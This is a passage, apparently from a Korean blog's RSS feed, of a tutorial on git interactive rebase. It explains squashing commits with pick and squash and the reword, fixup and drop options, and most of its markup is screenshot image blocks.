&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;272&quot; width=&quot;380&quot; height=&quot;222&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yFYva/btq79LWbjhK/BRgx7N2PIoV6LAAFjLpjw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yFYva/btq79LWbjhK/BRgx7N2PIoV6LAAFjLpjw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yFYva/btq79LWbjhK/BRgx7N2PIoV6LAAFjLpjw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyFYva%2Fbtq79LWbjhK%2FBRgx7N2PIoV6LAAFjLpjw0%2Fimg.png&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;272&quot; width=&quot;380&quot; height=&quot;222&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 'squash' CommitID를 입력하면 아래와 같은 창이 나타난다.&lt;/p&gt;
&lt;pre id=&quot;code_1624620090673&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ git rebase -i 56f3f1a&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;922&quot; width=&quot;442&quot; height=&quot;378&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k4EgT/btq76IF7oXU/AyUjusW6SHZ8r4dvt4iGhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k4EgT/btq76IF7oXU/AyUjusW6SHZ8r4dvt4iGhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k4EgT/btq76IF7oXU/AyUjusW6SHZ8r4dvt4iGhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk4EgT%2Fbtq76IF7oXU%2FAyUjusW6SHZ8r4dvt4iGhk%2Fimg.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;922&quot; width=&quot;442&quot; height=&quot;378&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 맨위의 3줄을 보면 'squash' Commit의 다음 Commit 내역들이 출력된 걸 볼 수 있고, 아래에는 명령어 옵션들이 써있는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 우리는 squash 옵션을 사용해 Commit을 합칠 수가 있는데 합치고자 하는 시작 Commit에 &lt;b&gt;pick&lt;/b&gt;옵션을 주고 합쳐질 Commit에는 &lt;b&gt;squash&lt;/b&gt;를 입력해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;144&quot; width=&quot;419&quot; height=&quot;104&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cz0vtW/btq79DqfpYm/xZEz75VGv1EECPbLznDyM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cz0vtW/btq79DqfpYm/xZEz75VGv1EECPbLznDyM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cz0vtW/btq79DqfpYm/xZEz75VGv1EECPbLznDyM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcz0vtW%2Fbtq79DqfpYm%2FxZEz75VGv1EECPbLznDyM1%2Fimg.png&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;144&quot; width=&quot;419&quot; height=&quot;104&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서 저장하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;928&quot; width=&quot;445&quot; height=&quot;435&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Waq0b/btq79M8z9dp/Fwfpk9UsDCrELyvLfH6yr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Waq0b/btq79M8z9dp/Fwfpk9UsDCrELyvLfH6yr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Waq0b/btq79M8z9dp/Fwfpk9UsDCrELyvLfH6yr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWaq0b%2Fbtq79M8z9dp%2FFwfpk9UsDCrELyvLfH6yr1%2Fimg.png&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;928&quot; width=&quot;445&quot; height=&quot;435&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 두번째 창이 뜨게 되는데 이 창은 합쳐진 Commit의 새로운 Commit Message를 입력해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;462&quot; width=&quot;548&quot; height=&quot;181&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nxaDP/btq8a7cSaEg/OzQW1hpSy8CE8QO7RcM7SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nxaDP/btq8a7cSaEg/OzQW1hpSy8CE8QO7RcM7SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nxaDP/btq8a7cSaEg/OzQW1hpSy8CE8QO7RcM7SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnxaDP%2Fbtq8a7cSaEg%2FOzQW1hpSy8CE8QO7RcM7SK%2Fimg.png&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;462&quot; width=&quot;548&quot; height=&quot;181&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 입력하고 저장하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;366&quot; data-origin-height=&quot;109&quot; width=&quot;410&quot; height=&quot;122&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rUAcs/btq788EBev0/ec8pCJEJFNmRu9K6BzlVgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rUAcs/btq788EBev0/ec8pCJEJFNmRu9K6BzlVgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rUAcs/btq788EBev0/ec8pCJEJFNmRu9K6BzlVgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrUAcs%2Fbtq788EBev0%2Fec8pCJEJFNmRu9K6BzlVgk%2Fimg.png&quot; data-origin-width=&quot;366&quot; data-origin-height=&quot;109&quot; width=&quot;410&quot; height=&quot;122&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'squash' 다음의 dev brach 커밋 내역이 합쳐진 것을 확인할 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;pick과 squash를 사용하면 하나의 커밋이 아닌 원하는 커밋 수로 압축할 수 있다.&lt;/b&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;337&quot; data-origin-height=&quot;129&quot; width=&quot;374&quot; height=&quot;143&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chjnZw/btq789XP6uU/c1RliwHcKg2VimuzBaA0Yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chjnZw/btq789XP6uU/c1RliwHcKg2VimuzBaA0Yk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chjnZw/btq789XP6uU/c1RliwHcKg2VimuzBaA0Yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchjnZw%2Fbtq789XP6uU%2Fc1RliwHcKg2VimuzBaA0Yk%2Fimg.png&quot; data-origin-width=&quot;337&quot; data-origin-height=&quot;129&quot; width=&quot;374&quot; height=&quot;143&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;381&quot; height=&quot;170&quot; data-origin-width=&quot;318&quot; data-origin-height=&quot;142&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDfoCM/btq79veVoew/rQIPyUNmOm6tI3bPigmDpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDfoCM/btq79veVoew/rQIPyUNmOm6tI3bPigmDpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDfoCM/btq79veVoew/rQIPyUNmOm6tI3bPigmDpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDfoCM%2Fbtq79veVoew%2FrQIPyUNmOm6tI3bPigmDpK%2Fimg.png&quot; width=&quot;381&quot; height=&quot;170&quot; data-origin-width=&quot;318&quot; data-origin-height=&quot;142&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;278&quot; width=&quot;565&quot; height=&quot;165&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwZLu5/btq79EQez0r/EmCtS6zJy9Rd5SVdLkI3r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwZLu5/btq79EQez0r/EmCtS6zJy9Rd5SVdLkI3r1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwZLu5/btq79EQez0r/EmCtS6zJy9Rd5SVdLkI3r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwZLu5%2Fbtq79EQez0r%2FEmCtS6zJy9Rd5SVdLkI3r1%2Fimg.png&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;278&quot; width=&quot;565&quot; height=&quot;165&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 pick을 두개 지정하고 squash를 두번 행하면 commit message 입력창이 두번 나오고 아래처럼 두개의 Commit으로 합칠 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;80&quot; width=&quot;424&quot; height=&quot;106&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HXZ9p/btq79qxWEVw/gfjM5XJUUbpxLTBx1KuKXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HXZ9p/btq79qxWEVw/gfjM5XJUUbpxLTBx1KuKXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HXZ9p/btq79qxWEVw/gfjM5XJUUbpxLTBx1KuKXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHXZ9p%2Fbtq79qxWEVw%2FgfjM5XJUUbpxLTBx1KuKXk%2Fimg.png&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;80&quot; width=&quot;424&quot; height=&quot;106&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;다른 옵션들&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 git rebase -i 를 입력했을 때 아래와 같은 옵션을 볼 수 있는데 pick과 squash는 알아봤으니 아래 옵션중 reword, fixup, drop에 대해 알아보자&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1388&quot; data-origin-height=&quot;702&quot; width=&quot;542&quot; height=&quot;274&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bytjlf/btq79p6RDoA/KUmGTKi9rLEt1qI9juDPBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bytjlf/btq79p6RDoA/KUmGTKi9rLEt1qI9juDPBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bytjlf/btq79p6RDoA/KUmGTKi9rLEt1qI9juDPBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbytjlf%2Fbtq79p6RDoA%2FKUmGTKi9rLEt1qI9juDPBK%2Fimg.png&quot; data-origin-width=&quot;1388&quot; data-origin-height=&quot;702&quot; width=&quot;542&quot; height=&quot;274&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;reword&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reword는 단순히 Commit Message를 바꿀 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;249&quot; data-origin-height=&quot;53&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F3QMZ/btq8aM071xs/JvjE5KOIBFTIkt8BPIseqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F3QMZ/btq8aM071xs/JvjE5KOIBFTIkt8BPIseqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F3QMZ/btq8aM071xs/JvjE5KOIBFTIkt8BPIseqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF3QMZ%2Fbtq8aM071xs%2FJvjE5KOIBFTIkt8BPIseqK%2Fimg.png&quot; data-origin-width=&quot;249&quot; data-origin-height=&quot;53&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;358&quot; data-origin-height=&quot;60&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVQfLs/btq8a8izssH/sxcQkersw4VKnYso1RpRFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVQfLs/btq8a8izssH/sxcQkersw4VKnYso1RpRFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVQfLs/btq8a8izssH/sxcQkersw4VKnYso1RpRFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVQfLs%2Fbtq8a8izssH%2FsxcQkersw4VKnYso1RpRFk%2Fimg.png&quot; data-origin-width=&quot;358&quot; data-origin-height=&quot;60&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;934&quot; data-origin-height=&quot;148&quot; width=&quot;658&quot; height=&quot;104&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zu7x5/btq79LIDhhr/01xsrKqLnB5kmlfkvH9wJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zu7x5/btq79LIDhhr/01xsrKqLnB5kmlfkvH9wJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zu7x5/btq79LIDhhr/01xsrKqLnB5kmlfkvH9wJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZu7x5%2Fbtq79LIDhhr%2F01xsrKqLnB5kmlfkvH9wJK%2Fimg.png&quot; data-origin-width=&quot;934&quot; data-origin-height=&quot;148&quot; width=&quot;658&quot; height=&quot;104&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;fixup&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fixup은 squash와 기능은 동일 하지만 커밋 메시지를 새로 쓸 수 없고 pick한 부분의 커밋 메시지로 합쳐진다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;78&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G8XwG/btq79MU5UTC/AEPKsOYvfnMvzgbQBE7YQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G8XwG/btq79MU5UTC/AEPKsOYvfnMvzgbQBE7YQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G8XwG/btq79MU5UTC/AEPKsOYvfnMvzgbQBE7YQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG8XwG%2Fbtq79MU5UTC%2FAEPKsOYvfnMvzgbQBE7YQ0%2Fimg.png&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;78&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;290&quot; data-origin-height=&quot;82&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0mPdb/btq79M8Axgx/PDqFuSNT8tYyF0H4dORkOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0mPdb/btq79M8Axgx/PDqFuSNT8tYyF0H4dORkOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0mPdb/btq79M8Axgx/PDqFuSNT8tYyF0H4dORkOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0mPdb%2Fbtq79M8Axgx%2FPDqFuSNT8tYyF0H4dORkOK%2Fimg.png&quot; data-origin-width=&quot;290&quot; data-origin-height=&quot;82&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;256&quot; data-origin-height=&quot;56&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k6HNN/btq7993yOGd/NJsDRZfDIwGQoKSYeppRGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k6HNN/btq7993yOGd/NJsDRZfDIwGQoKSYeppRGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k6HNN/btq7993yOGd/NJsDRZfDIwGQoKSYeppRGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk6HNN%2Fbtq7993yOGd%2FNJsDRZfDIwGQoKSYeppRGK%2Fimg.png&quot; data-origin-width=&quot;256&quot; data-origin-height=&quot;56&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;drop&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;drop을 사용하면 해당 커밋을 제거할 수 있다. 물론 해당 커밋에서 &lt;b&gt;변경된 작업도 원래대로 돌아간다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;274&quot; data-origin-height=&quot;78&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UCSVl/btq76JE1kfC/QP3OnCL9luvkrbvFYKxP90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UCSVl/btq76JE1kfC/QP3OnCL9luvkrbvFYKxP90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UCSVl/btq76JE1kfC/QP3OnCL9luvkrbvFYKxP90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUCSVl%2Fbtq76JE1kfC%2FQP3OnCL9luvkrbvFYKxP90%2Fimg.png&quot; data-origin-width=&quot;274&quot; data-origin-height=&quot;78&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;406&quot; data-origin-height=&quot;84&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhR3uY/btq8aaOVh6U/KG2IK6dZ9DoJv7vnSCEhW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhR3uY/btq8aaOVh6U/KG2IK6dZ9DoJv7vnSCEhW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhR3uY/btq8aaOVh6U/KG2IK6dZ9DoJv7vnSCEhW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhR3uY%2Fbtq8aaOVh6U%2FKG2IK6dZ9DoJv7vnSCEhW0%2Fimg.png&quot; data-origin-width=&quot;406&quot; data-origin-height=&quot;84&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;297&quot; data-origin-height=&quot;52&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbHUYI/btq8a6SzQbu/QMmPjUq6TfMcPU7gz6tWk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbHUYI/btq8a6SzQbu/QMmPjUq6TfMcPU7gz6tWk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbHUYI/btq8a6SzQbu/QMmPjUq6TfMcPU7gz6tWk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbHUYI%2Fbtq8a6SzQbu%2FQMmPjUq6TfMcPU7gz6tWk0%2Fimg.png&quot; data-origin-width=&quot;297&quot; data-origin-height=&quot;52&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>GIT</category>
      <category>git</category>
      <category>merge</category>
      <category>Rebase</category>
      <category>rebase -i</category>
